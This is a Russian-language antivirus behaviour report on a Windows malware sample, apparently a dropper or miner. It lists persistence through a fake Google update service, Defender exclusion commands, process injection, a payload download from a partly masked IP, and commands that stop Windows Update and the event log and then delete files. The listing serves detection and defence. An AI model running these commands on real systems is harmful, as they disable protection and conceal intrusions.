Техническая информация
Для обеспечения автозапуска и распространения
Устанавливает следующие настройки сервисов
- [HKLM\SYSTEM\CurrentControlSet\Services\GoogleUpdateTaskMachineQC] 'Start' = '00000002'
- [HKLM\SYSTEM\CurrentControlSet\Services\GoogleUpdateTaskMachineQC] 'ImagePath' = '%ALLUSERSPROFILE%\Google\Chrome\updater.exe'
Создает следующие сервисы
- 'GoogleUpdateTaskMachineQC' %ALLUSERSPROFILE%\Google\Chrome\updater.exe
Вредоносные функции
Для затруднения выявления своего присутствия в системе
добавляет исключения антивируса:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData,$env:windir) -ExclusionExtension @('.exe','.dll') -Force
Внедряет код в
следующие системные процессы:
- %WINDIR%\microsoft.net\framework\v4.0.30319\msbuild.exe
- <SYSTEM32>\dllhost.exe
- <SYSTEM32>\conhost.exe
- %WINDIR%\explorer.exe
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\winupdate_661e136b0c8e8fe95b0e314036867c42\update.zip
- %TEMP%\winupdate_661e136b0c8e8fe95b0e314036867c42\cmake.zip
- %TEMP%\winupdate_661e136b0c8e8fe95b0e314036867c42\dotnetzip-ppeeg2cz.tmp
- %TEMP%\winupdate_661e136b0c8e8fe95b0e314036867c42\dotnetzip-pmudfoyd.tmp
- %TEMP%\winupdate_661e136b0c8e8fe95b0e314036867c42\dotnetzip-isdxrtnl.tmp
- %TEMP%\winupdate_661e136b0c8e8fe95b0e314036867c42\dotnetzip-obxni50b.tmp
- %TEMP%\_mei32722\vcruntime140.dll
- %TEMP%\_mei32722\vcruntime140_1.dll
- %TEMP%\_mei32722\_asyncio.pyd
- %TEMP%\_mei32722\_bz2.pyd
- %TEMP%\_mei32722\_ctypes.pyd
- %TEMP%\_mei32722\_decimal.pyd
- %TEMP%\_mei32722\_hashlib.pyd
- %TEMP%\_mei32722\_lzma.pyd
- %TEMP%\_mei32722\_multiprocessing.pyd
- %TEMP%\_mei32722\_overlapped.pyd
- %TEMP%\_mei32722\_queue.pyd
- %TEMP%\_mei32722\_socket.pyd
- %TEMP%\_mei32722\_ssl.pyd
- %TEMP%\_mei32722\api-ms-win-core-console-l1-1-0.dll
- %TEMP%\_mei32722\api-ms-win-core-datetime-l1-1-0.dll
- %TEMP%\_mei32722\api-ms-win-core-debug-l1-1-0.dll
- %TEMP%\_mei32722\api-ms-win-core-errorhandling-l1-1-0.dll
- %TEMP%\_mei32722\api-ms-win-core-file-l1-1-0.dll
- %TEMP%\_mei32722\api-ms-win-core-file-l1-2-0.dll
- %TEMP%\_mei32722\api-ms-win-core-file-l2-1-0.dll
- %TEMP%\_mei32722\api-ms-win-core-handle-l1-1-0.dll
- %TEMP%\_mei32722\api-ms-win-core-heap-l1-1-0.dll
- %TEMP%\_mei32722\api-ms-win-core-interlocked-l1-1-0.dll
- %TEMP%\_mei32722\api-ms-win-core-libraryloader-l1-1-0.dll
- %TEMP%\_mei32722\api-ms-win-core-localization-l1-2-0.dll
- %TEMP%\_mei32722\api-ms-win-core-memory-l1-1-0.dll
- %TEMP%\_mei32722\api-ms-win-core-namedpipe-l1-1-0.dll
- %TEMP%\_mei32722\api-ms-win-core-processenvironment-l1-1-0.dll
- %TEMP%\_mei32722\api-ms-win-core-processthreads-l1-1-0.dll
- %TEMP%\_mei32722\api-ms-win-core-processthreads-l1-1-1.dll
- %TEMP%\_mei32722\api-ms-win-core-profile-l1-1-0.dll
- %TEMP%\_mei32722\api-ms-win-core-rtlsupport-l1-1-0.dll
- %TEMP%\_mei32722\api-ms-win-core-string-l1-1-0.dll
- %TEMP%\_mei32722\api-ms-win-core-synch-l1-1-0.dll
- %TEMP%\_mei32722\api-ms-win-core-synch-l1-2-0.dll
- %TEMP%\_mei32722\api-ms-win-core-sysinfo-l1-1-0.dll
- %TEMP%\_mei32722\api-ms-win-core-timezone-l1-1-0.dll
- %TEMP%\_mei32722\api-ms-win-core-util-l1-1-0.dll
- %TEMP%\_mei32722\api-ms-win-crt-conio-l1-1-0.dll
- %TEMP%\_mei32722\api-ms-win-crt-convert-l1-1-0.dll
- %TEMP%\_mei32722\api-ms-win-crt-environment-l1-1-0.dll
- %TEMP%\_mei32722\api-ms-win-crt-filesystem-l1-1-0.dll
- %TEMP%\_mei32722\api-ms-win-crt-heap-l1-1-0.dll
- %TEMP%\_mei32722\api-ms-win-crt-locale-l1-1-0.dll
- %TEMP%\_mei32722\api-ms-win-crt-math-l1-1-0.dll
- %TEMP%\_mei32722\api-ms-win-crt-process-l1-1-0.dll
- %TEMP%\_mei32722\api-ms-win-crt-runtime-l1-1-0.dll
- %TEMP%\_mei32722\api-ms-win-crt-stdio-l1-1-0.dll
- %TEMP%\_mei32722\api-ms-win-crt-string-l1-1-0.dll
- %TEMP%\_mei32722\api-ms-win-crt-time-l1-1-0.dll
- %TEMP%\_mei32722\api-ms-win-crt-utility-l1-1-0.dll
- %TEMP%\_mei32722\base_library.zip
- %TEMP%\_mei32722\certifi\cacert.pem
- %TEMP%\_mei32722\charset_normalizer\md.cp311-win_amd64.pyd
- %TEMP%\_mei32722\charset_normalizer\md__mypyc.cp311-win_amd64.pyd
- %TEMP%\_mei32722\libcrypto-1_1.dll
- %TEMP%\_mei32722\libffi-8.dll
- %TEMP%\_mei32722\libssl-1_1.dll
- %TEMP%\_mei32722\pyexpat.pyd
- %TEMP%\_mei32722\python311.dll
- %TEMP%\_mei32722\pywin32_system32\pywintypes311.dll
- %TEMP%\_mei32722\select.pyd
- %TEMP%\_mei32722\setuptools\_vendor\importlib_metadata-8.0.0.dist-info\installer
- %TEMP%\_mei32722\setuptools\_vendor\importlib_metadata-8.0.0.dist-info\license
- %TEMP%\_mei32722\setuptools\_vendor\importlib_metadata-8.0.0.dist-info\metadata
- %TEMP%\_mei32722\setuptools\_vendor\importlib_metadata-8.0.0.dist-info\record
- %TEMP%\_mei32722\setuptools\_vendor\importlib_metadata-8.0.0.dist-info\wheel
- %TEMP%\_mei32722\setuptools\_vendor\importlib_metadata-8.0.0.dist-info\top_level.txt
- %TEMP%\_mei32722\setuptools\_vendor\jaraco\text\lorem ipsum.txt
- %TEMP%\_mei32722\ucrtbase.dll
- %TEMP%\_mei32722\unicodedata.pyd
- %TEMP%\_mei32722\wheel-0.45.1.dist-info\installer
- %TEMP%\_mei32722\wheel-0.45.1.dist-info\license.txt
- %TEMP%\_mei32722\wheel-0.45.1.dist-info\metadata
- %TEMP%\_mei32722\wheel-0.45.1.dist-info\record
- %TEMP%\_mei32722\wheel-0.45.1.dist-info\wheel
- %TEMP%\_mei32722\wheel-0.45.1.dist-info\entry_points.txt
- %TEMP%\_mei32722\win32\win32crypt.pyd
- nul
- %ALLUSERSPROFILE%\google\chrome\updater.exe
- %WINDIR%\temp\__psscriptpolicytest_etob1y4r.svk.ps1
- %WINDIR%\temp\__psscriptpolicytest_pbnyl2fk.yrc.psm1
- %WINDIR%\temp\content\1472-440-powershell.exe-12-50-02-344.dump
- %WINDIR%\temp\content\1472-440-powershell.exe-12-50-02-580.dump
- %WINDIR%\temp\content\1472-440-powershell.exe-12-50-02-658.dump
- %WINDIR%\temp\content\1472-440-powershell.exe-12-50-02-843.dump
- %WINDIR%\temp\content\1472-440-powershell.exe-12-50-02-881.dump
- %WINDIR%\temp\__psscriptpolicytest_0xlxketk.1p2.ps1
- %WINDIR%\temp\__psscriptpolicytest_vkgwu1tb.xgw.psm1
- %WINDIR%\temp\content\1472-440-powershell.exe-12-50-03-113.dump
- %WINDIR%\temp\content\1472-440-powershell.exe-12-50-03-129.dump
- %WINDIR%\temp\content\1472-440-powershell.exe-12-50-03-198.dump
- %WINDIR%\temp\content\1472-440-powershell.exe-12-50-03-298.dump
- %WINDIR%\temp\content\1472-440-powershell.exe-12-50-03-446.dump
- %WINDIR%\temp\content\1472-440-powershell.exe-12-50-03-515.dump
- %WINDIR%\temp\content\1472-440-powershell.exe-12-50-03-647.dump
- %WINDIR%\temp\content\1472-440-powershell.exe-12-50-03-684.dump
- %WINDIR%\temp\content\1472-440-powershell.exe-12-50-03-716.dump
- %WINDIR%\temp\content\1472-440-powershell.exe-12-50-03-747.dump
- %WINDIR%\temp\content\1472-440-powershell.exe-12-50-03-785.dump
- %WINDIR%\temp\content\1472-440-powershell.exe-12-50-03-832.dump
- %WINDIR%\temp\content\1472-440-powershell.exe-12-50-03-879.dump
- %WINDIR%\temp\content\1472-440-powershell.exe-12-50-04-359.dump
- %WINDIR%\temp\content\1472-440-powershell.exe-12-50-04-412.dump
- %WINDIR%\temp\content\1472-440-powershell.exe-12-50-04-443.dump
- %WINDIR%\temp\content\1472-440-powershell.exe-12-50-04-475.dump
- %WINDIR%\temp\content\1472-440-powershell.exe-12-50-04-496.dump
- %WINDIR%\temp\content\1472-440-powershell.exe-12-50-04-559.dump
- <SYSTEM32>\config\systemprofile\appdata\local\microsoft\windows\powershell\startupprofiledata-noninteractive
- %WINDIR%\temp\qbafufdsigxp.sys
Перемещает следующие файлы
- %TEMP%\winupdate_661e136b0c8e8fe95b0e314036867c42\dotnetzip-ppeeg2cz.tmp в %TEMP%\winupdate_661e136b0c8e8fe95b0e314036867c42\yzn.ps1
- %TEMP%\winupdate_661e136b0c8e8fe95b0e314036867c42\dotnetzip-pmudfoyd.tmp в %TEMP%\winupdate_661e136b0c8e8fe95b0e314036867c42\root1.exe
- %TEMP%\winupdate_661e136b0c8e8fe95b0e314036867c42\dotnetzip-isdxrtnl.tmp в %TEMP%\winupdate_661e136b0c8e8fe95b0e314036867c42\root2.exe
- %TEMP%\winupdate_661e136b0c8e8fe95b0e314036867c42\dotnetzip-obxni50b.tmp в %TEMP%\winupdate_661e136b0c8e8fe95b0e314036867c42\root3.exe
- %TEMP%\winupdate_661e136b0c8e8fe95b0e314036867c42\root1.exe в %ALLUSERSPROFILE%\moon\falcon.exe
- %TEMP%\winupdate_661e136b0c8e8fe95b0e314036867c42\root2.exe в %ALLUSERSPROFILE%\moon\vertigo.exe
- %TEMP%\winupdate_661e136b0c8e8fe95b0e314036867c42\root3.exe в %ALLUSERSPROFILE%\moon\summer.exe
Сетевая активность
Подключается к
- 'cl####lare-dns.com':443
- '93.##3.25.43':443
TCP
Запросы HTTP GET
- http://17#.#36.252.150/build/cmake.zip
Другие
- 'cl####lare-dns.com':443
- '93.##3.25.43':443
UDP
- DNS ASK cl####lare-dns.com
- DNS ASK time.google.com
- DNS ASK po##.ntp.org
- DNS ASK nt#.time.nl
- DNS ASK x.##.#in.ntt.net
- DNS ASK ts#.aco.net
- DNS ASK gb##.ntp.se
- DNS ASK ti##.apple.com
- DNS ASK nt#.nict.jp
- 'nt#.nict.jp':123
- 'ti##.apple.com':123
- 'gb##.ntp.se':123
- 'ts#.aco.net':123
- 'x.##.#in.ntt.net':123
- 'nt#.time.nl':123
- 'time.google.com':123
- 'po##.ntp.org':123
Другое
Создает и запускает на исполнение
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -File "%TEMP%\WinUpdate_661e136b0c8e8fe95b0e314036867c42\yzn.ps1"
- '%ALLUSERSPROFILE%\moon\falcon.exe'
- '%ALLUSERSPROFILE%\moon\vertigo.exe'
- '%ALLUSERSPROFILE%\moon\summer.exe'
- '%ALLUSERSPROFILE%\google\chrome\updater.exe'
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "cmd /c ping 127.0.0.1 -n 3 > nul & del /f /q "%ALLUSERSPROFILE%\Moon\summer.exe"" (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c ping 127.0.0.1 -n 3
- '<SYSTEM32>\ping.exe' 127.0.0.1 -n 3
- '%WINDIR%\microsoft.net\framework\v4.0.30319\msbuild.exe'
- '<SYSTEM32>\cmd.exe' /c wusa /uninstall /kb:890830 /quiet /norestart
- '<SYSTEM32>\sc.exe' stop UsoSvc
- '<SYSTEM32>\sc.exe' stop WaaSMedicSvc
- '<SYSTEM32>\wusa.exe' /uninstall /kb:890830 /quiet /norestart
- '<SYSTEM32>\sc.exe' stop wuauserv
- '<SYSTEM32>\sc.exe' stop bits
- '<SYSTEM32>\sc.exe' stop dosvc
- '<SYSTEM32>\powercfg.exe' /x -hibernate-timeout-ac 0
- '<SYSTEM32>\powercfg.exe' /x -hibernate-timeout-dc 0
- '<SYSTEM32>\powercfg.exe' /x -standby-timeout-ac 0
- '<SYSTEM32>\powercfg.exe' /x -standby-timeout-dc 0
- '<SYSTEM32>\sc.exe' delete "GoogleUpdateTaskMachineQC"
- '<SYSTEM32>\sc.exe' create "GoogleUpdateTaskMachineQC" binpath= "%ALLUSERSPROFILE%\Google\Chrome\updater.exe" start= "auto"
- '<SYSTEM32>\sc.exe' stop eventlog
- '<SYSTEM32>\sc.exe' start "GoogleUpdateTaskMachineQC"
- '<SYSTEM32>\dllhost.exe'
- '%WINDIR%\explorer.exe' PFcsSWkwboj6yT2E 6E3sjfZq2rJQaxvLPmXgsI35XTUuDoM+FSi10H4V62y3lUOOWcV5JILi4cUtMUTeTcuPOxb7P4Wy1StnEfSUYhnmdVkd6M/AUgP/sMM8BJ/G3YN7Vw6hcoLZSDkclhwg3QzKhE/9jAuZS3BlTS8PGqJH9OK6likAzPMtRzR6kywc2m7K...
- '%ProgramFiles%\windows media player\wmplayer.exe'
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -File "%TEMP%\WinUpdate_661e136b0c8e8fe95b0e314036867c42\yzn.ps1" (со скрытым окном)
